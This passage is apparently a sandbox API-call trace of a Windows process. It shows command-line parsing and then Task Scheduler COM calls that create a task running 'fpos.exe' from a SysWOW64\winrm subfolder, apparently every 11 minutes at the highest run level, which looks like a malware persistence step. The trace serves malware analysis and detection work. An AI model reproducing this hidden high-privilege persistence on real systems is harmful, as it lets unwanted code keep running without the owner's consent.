(lpString="rp") returned 2 [0156.478] lstrlenW (lpString="rp") returned 2 [0156.478] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.478] lstrlenW (lpString="f") returned 1 [0156.478] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.478] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|rp|") returned 4 [0156.478] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|f|") returned 3 [0156.478] lstrlenW (lpString="|rp|") returned 4 [0156.478] lstrlenW (lpString="|f|") returned 3 [0156.478] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0156.478] SetLastError (dwErrCode=0x490) [0156.478] lstrlenW (lpString="sc") returned 2 [0156.478] lstrlenW (lpString="sc") returned 2 [0156.478] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.478] lstrlenW (lpString="f") returned 1 [0156.478] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.478] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|sc|") returned 4 [0156.478] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|f|") returned 3 [0156.478] lstrlenW (lpString="|sc|") returned 4 [0156.478] lstrlenW (lpString="|f|") returned 3 [0156.478] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0156.478] SetLastError (dwErrCode=0x490) [0156.478] lstrlenW (lpString="mo") returned 2 [0156.478] lstrlenW (lpString="mo") returned 2 [0156.478] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.478] lstrlenW (lpString="f") returned 1 [0156.478] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.479] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|mo|") returned 4 [0156.479] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|f|") returned 3 [0156.479] lstrlenW (lpString="|mo|") returned 4 [0156.479] lstrlenW (lpString="|f|") returned 3 [0156.479] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0156.479] SetLastError (dwErrCode=0x490) [0156.479] lstrlenW (lpString="d") returned 1 [0156.479] lstrlenW (lpString="d") returned 1 [0156.479] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.479] lstrlenW (lpString="f") returned 1 [0156.479] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.479] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|d|") returned 3 [0156.479] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|f|") returned 3 [0156.479] lstrlenW (lpString="|d|") returned 3 [0156.479] lstrlenW (lpString="|f|") returned 3 [0156.479] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0156.479] SetLastError (dwErrCode=0x490) [0156.479] lstrlenW (lpString="m") returned 1 [0156.479] lstrlenW (lpString="m") returned 1 [0156.479] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.479] lstrlenW (lpString="f") returned 1 [0156.479] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.479] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|m|") returned 3 [0156.479] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|f|") returned 3 [0156.479] lstrlenW (lpString="|m|") returned 3 [0156.479] lstrlenW (lpString="|f|") returned 3 [0156.479] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0156.479] SetLastError (dwErrCode=0x490) [0156.479] lstrlenW (lpString="i") returned 1 [0156.479] lstrlenW (lpString="i") returned 1 [0156.479] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.479] lstrlenW (lpString="f") returned 1 [0156.480] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.480] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|i|") returned 3 [0156.480] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|f|") returned 3 [0156.480] lstrlenW (lpString="|i|") returned 3 [0156.480] lstrlenW (lpString="|f|") returned 3 [0156.480] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0156.480] SetLastError (dwErrCode=0x490) [0156.480] lstrlenW (lpString="tn") returned 2 [0156.480] lstrlenW (lpString="tn") returned 2 [0156.480] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.480] lstrlenW (lpString="f") returned 1 [0156.480] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.480] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|tn|") returned 4 [0156.480] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|f|") returned 3 [0156.480] lstrlenW (lpString="|tn|") returned 4 [0156.480] lstrlenW (lpString="|f|") returned 3 [0156.480] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0156.480] SetLastError (dwErrCode=0x490) [0156.480] lstrlenW (lpString="tr") returned 2 [0156.480] lstrlenW (lpString="tr") returned 2 [0156.480] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.480] lstrlenW (lpString="f") returned 1 [0156.480] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.480] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|tr|") returned 4 [0156.480] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|f|") returned 3 [0156.480] lstrlenW (lpString="|tr|") returned 4 [0156.480] lstrlenW (lpString="|f|") returned 3 [0156.480] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0156.480] SetLastError (dwErrCode=0x490) [0156.481] lstrlenW (lpString="st") returned 2 [0156.481] lstrlenW (lpString="st") returned 2 [0156.481] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.481] lstrlenW (lpString="f") returned 1 [0156.481] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.481] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|st|") returned 4 [0156.481] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|f|") returned 3 [0156.481] lstrlenW (lpString="|st|") returned 4 [0156.481] lstrlenW (lpString="|f|") returned 3 [0156.481] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0156.481] SetLastError (dwErrCode=0x490) [0156.481] lstrlenW (lpString="sd") returned 2 [0156.481] lstrlenW (lpString="sd") returned 2 [0156.481] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.481] lstrlenW (lpString="f") returned 1 [0156.481] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.481] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|sd|") returned 4 [0156.481] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|f|") returned 3 [0156.481] lstrlenW (lpString="|sd|") returned 4 [0156.481] lstrlenW (lpString="|f|") returned 3 [0156.481] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0156.481] SetLastError (dwErrCode=0x490) [0156.481] lstrlenW (lpString="ed") returned 2 [0156.481] lstrlenW (lpString="ed") returned 2 [0156.481] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.481] lstrlenW (lpString="f") returned 1 [0156.481] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.481] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|ed|") returned 4 [0156.481] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|f|") returned 3 [0156.481] lstrlenW (lpString="|ed|") returned 4 [0156.481] lstrlenW (lpString="|f|") returned 3 [0156.481] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0156.481] SetLastError (dwErrCode=0x490) [0156.481] lstrlenW (lpString="it") returned 2 [0156.482] lstrlenW (lpString="it") returned 2 [0156.482] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.482] lstrlenW (lpString="f") returned 1 [0156.482] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.482] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|it|") returned 4 [0156.482] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|f|") returned 3 [0156.482] lstrlenW (lpString="|it|") returned 4 [0156.482] lstrlenW (lpString="|f|") returned 3 [0156.482] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0156.482] SetLastError (dwErrCode=0x490) [0156.482] lstrlenW (lpString="et") returned 2 [0156.482] lstrlenW (lpString="et") returned 2 [0156.482] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.482] lstrlenW (lpString="f") returned 1 [0156.482] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.482] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|et|") returned 4 [0156.482] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|f|") returned 3 [0156.482] lstrlenW (lpString="|et|") returned 4 [0156.482] lstrlenW (lpString="|f|") returned 3 [0156.482] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0156.482] SetLastError (dwErrCode=0x490) [0156.482] lstrlenW (lpString="k") returned 1 [0156.482] lstrlenW (lpString="k") returned 1 [0156.482] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.482] lstrlenW (lpString="f") returned 1 [0156.482] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.482] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|k|") returned 3 [0156.482] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|f|") returned 3 [0156.482] lstrlenW (lpString="|k|") returned 3 [0156.482] lstrlenW (lpString="|f|") returned 3 [0156.482] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0156.482] SetLastError (dwErrCode=0x490) [0156.482] lstrlenW (lpString="du") returned 2 [0156.483] lstrlenW (lpString="du") returned 2 [0156.483] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.483] lstrlenW (lpString="f") returned 1 [0156.483] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.483] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|du|") returned 4 [0156.483] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|f|") returned 3 [0156.483] lstrlenW (lpString="|du|") returned 4 [0156.483] lstrlenW (lpString="|f|") returned 3 [0156.483] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0156.483] SetLastError (dwErrCode=0x490) [0156.483] lstrlenW (lpString="ri") returned 2 [0156.483] lstrlenW (lpString="ri") returned 2 [0156.483] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.483] lstrlenW (lpString="f") returned 1 [0156.483] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.483] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|ri|") returned 4 [0156.483] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|f|") returned 3 [0156.483] lstrlenW (lpString="|ri|") returned 4 [0156.483] lstrlenW (lpString="|f|") returned 3 [0156.483] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0156.483] SetLastError (dwErrCode=0x490) [0156.483] lstrlenW (lpString="z") returned 1 [0156.483] lstrlenW (lpString="z") returned 1 [0156.483] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.483] lstrlenW (lpString="f") returned 1 [0156.483] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.483] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|z|") returned 3 [0156.483] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|f|") returned 3 [0156.483] lstrlenW (lpString="|z|") returned 3 [0156.483] lstrlenW (lpString="|f|") returned 3 [0156.483] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0156.483] SetLastError (dwErrCode=0x490) [0156.483] lstrlenW (lpString="f") returned 1 [0156.483] lstrlenW (lpString="f") returned 1 [0156.484] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.484] lstrlenW (lpString="f") returned 1 [0156.484] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.484] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|f|") returned 3 [0156.484] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|f|") returned 3 [0156.484] lstrlenW (lpString="|f|") returned 3 [0156.484] lstrlenW (lpString="|f|") returned 3 [0156.484] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0156.484] SetLastError (dwErrCode=0x0) [0156.484] SetLastError (dwErrCode=0x0) [0156.484] GetProcessHeap () returned 0x300000 [0156.484] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0x20) returned 0x31cd50 [0156.484] _memicmp (_Buf1=0x31ba90, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.484] LoadStringW (in: hInstance=0x0, uID=0x20d, lpBuffer=0x31d280, cchBufferMax=256 | out: lpBuffer="LIMITED") returned 0x7 [0156.484] lstrlenW (lpString="LIMITED") returned 7 [0156.484] GetProcessHeap () returned 0x300000 [0156.484] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0x10) returned 0x31d580 [0156.484] GetThreadLocale () returned 0x409 [0156.484] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="LIMITED", cchCount2=-1) returned 1 [0156.484] GetProcessHeap () returned 0x300000 [0156.484] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0x20) returned 0x31cd20 [0156.484] _memicmp (_Buf1=0x31ba90, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.484] LoadStringW (in: hInstance=0x0, uID=0x20e, lpBuffer=0x31d280, cchBufferMax=256 | out: lpBuffer="HIGHEST") returned 0x7 [0156.484] lstrlenW (lpString="HIGHEST") returned 7 [0156.484] GetProcessHeap () returned 0x300000 [0156.484] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0x10) returned 0x31d5a0 [0156.484] GetThreadLocale () returned 0x409 [0156.484] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="HIGHEST", cchCount2=-1) returned 2 [0156.485] GetProcessHeap () returned 0x300000 [0156.485] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0x20) returned 0x31ccf0 [0156.485] _memicmp (_Buf1=0x31ba90, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.485] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x31d280, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0156.485] lstrlenW (lpString="MINUTE") returned 6 [0156.485] GetProcessHeap () returned 0x300000 [0156.485] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0xe) returned 0x31d5c0 [0156.485] GetThreadLocale () returned 0x409 [0156.485] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="MINUTE", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 2 [0156.485] SetLastError (dwErrCode=0x0) [0156.485] GetProcessHeap () returned 0x300000 [0156.485] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0x1fc) returned 0x31c250 [0156.485] GetProcessHeap () returned 0x300000 [0156.485] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0x20) returned 0x31ccc0 [0156.485] _memicmp (_Buf1=0x31ba90, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.485] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x31d280, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0156.485] lstrlenW (lpString="First") returned 5 [0156.485] GetProcessHeap () returned 0x300000 [0156.485] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0xc) returned 0x31d5e0 [0156.485] GetProcessHeap () returned 0x300000 [0156.485] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0x20) returned 0x31cc90 [0156.485] _memicmp (_Buf1=0x31ba90, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.485] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x31d280, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0156.485] lstrlenW (lpString="Second") returned 6 [0156.485] GetProcessHeap () returned 0x300000 [0156.485] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0xe) returned 0x31d600 [0156.485] GetProcessHeap () returned 0x300000 [0156.485] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0x20) returned 0x31cc60 [0156.485] _memicmp (_Buf1=0x31ba90, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.485] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x31d280, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0156.486] lstrlenW (lpString="Third") returned 5 [0156.486] GetProcessHeap () returned 0x300000 [0156.486] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0xc) returned 0x31d620 [0156.486] GetProcessHeap () returned 0x300000 [0156.486] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0x20) returned 0x31cc30 [0156.486] _memicmp (_Buf1=0x31ba90, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.486] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x31d280, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0156.486] lstrlenW (lpString="Fourth") returned 6 [0156.486] GetProcessHeap () returned 0x300000 [0156.486] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0xe) returned 0x31d640 [0156.486] _memicmp (_Buf1=0x31ba90, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.486] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x31d280, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0156.486] lstrlenW (lpString="Last") returned 4 [0156.486] GetProcessHeap () returned 0x300000 [0156.486] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0xa) returned 0x31d660 [0156.486] lstrlenW (lpString="11") returned 2 [0156.486] _wtol (_String="11") returned 11 [0156.486] _memicmp (_Buf1=0x31ba90, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.486] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x31d280, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0156.486] lstrlenW (lpString="First") returned 5 [0156.486] _memicmp (_Buf1=0x31ba90, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.486] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x31d280, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0156.486] lstrlenW (lpString="Second") returned 6 [0156.486] _memicmp (_Buf1=0x31ba90, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.486] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x31d280, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0156.486] lstrlenW (lpString="Third") returned 5 [0156.486] _memicmp (_Buf1=0x31ba90, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.486] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x31d280, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0156.486] lstrlenW (lpString="Fourth") returned 6 [0156.486] _memicmp (_Buf1=0x31ba90, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.486] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x31d280, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0156.487] lstrlenW (lpString="Last") returned 4 [0156.487] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x25c120, cchData=128 | out: lpLCData="0") returned 2 [0156.487] _memicmp (_Buf1=0x31ba90, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.487] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x31d280, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0156.487] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0156.487] GetProcessHeap () returned 0x300000 [0156.487] GetProcessHeap () returned 0x300000 [0156.487] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x31d5e0) returned 1 [0156.487] GetProcessHeap () returned 0x300000 [0156.487] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x31d5e0) returned 0xc [0156.487] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x31d5e0 | out: hHeap=0x300000) returned 1 [0156.487] GetProcessHeap () returned 0x300000 [0156.487] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0x16) returned 0x31d5e0 [0156.487] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x25c140, cchData=128 | out: lpLCData="0") returned 2 [0156.487] _memicmp (_Buf1=0x31ba90, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.487] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x31d280, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0156.487] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0156.487] GetProcessHeap () returned 0x300000 [0156.487] GetProcessHeap () returned 0x300000 [0156.487] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x31d600) returned 1 [0156.487] GetProcessHeap () returned 0x300000 [0156.487] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x31d600) returned 0xe [0156.487] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x31d600 | out: hHeap=0x300000) returned 1 [0156.487] GetProcessHeap () returned 0x300000 [0156.487] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0x16) returned 0x31d600 [0156.487] GetLocalTime (in: lpSystemTime=0x25c370 | out: lpSystemTime=0x25c370*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0x10, wMilliseconds=0x23)) [0156.487] lstrlenW (lpString="") returned 0 [0156.488] GetLocalTime (in: lpSystemTime=0x25cc28 | out: lpSystemTime=0x25cc28*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0x10, wMilliseconds=0x23)) [0156.488] lstrlenW (lpString="") returned 0 [0156.488] lstrlenW (lpString="") returned 0 [0156.488] lstrlenW (lpString="") returned 0 [0156.488] lstrlenW (lpString="") returned 0 [0156.488] lstrlenW (lpString="11") returned 2 [0156.488] _wtol (_String="11") returned 11 [0156.488] lstrlenW (lpString="") returned 0 [0156.488] lstrlenW (lpString="") returned 0 [0156.488] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0156.529] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0156.588] CoCreateInstance (in: rclsid=0xffbf1ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xffbf1ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x25c9f0 | out: ppv=0x25c9f0*=0x117a50) returned 0x0 [0156.597] TaskScheduler:ITaskService:Connect (This=0x117a50, serverName=0x25cad0*(varType=0x8, wReserved1=0x25, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x25ca90*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0x25cab0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x25ca70*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0156.665] TaskScheduler:IUnknown:AddRef (This=0x117a50) returned 0x2 [0156.665] TaskScheduler:ITaskService:GetFolder (in: This=0x117a50, Path=0x0, ppFolder=0x25cb88 | out: ppFolder=0x25cb88*=0x117c80) returned 0x0 [0156.668] TaskScheduler:ITaskService:NewTask (in: This=0x117a50, flags=0x0, ppDefinition=0x25cb80 | out: ppDefinition=0x25cb80*=0x117cd0) returned 0x0 [0156.669] ITaskDefinition:get_Actions (in: This=0x117cd0, ppActions=0x25cb00 | out: ppActions=0x25cb00*=0x117d90) returned 0x0 [0156.669] IActionCollection:Create (in: This=0x117d90, Type=0, ppAction=0x25cb20 | out: ppAction=0x25cb20*=0x116110) returned 0x0 [0156.669] lstrlenW (lpString="'C:\\Windows\\SysWOW64\\winrm\\0409\\fpos.exe'") returned 41 [0156.669] lstrlenW (lpString="'C:\\Windows\\SysWOW64\\winrm\\0409\\fpos.exe'") returned 41 [0156.669] lstrlenW (lpString=" ") returned 1 [0156.669] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0156.669] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0156.669] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0156.669] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0156.669] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0156.669] StrChrW (lpStart=" ", wMatch=0x57) returned 0x0 [0156.670] 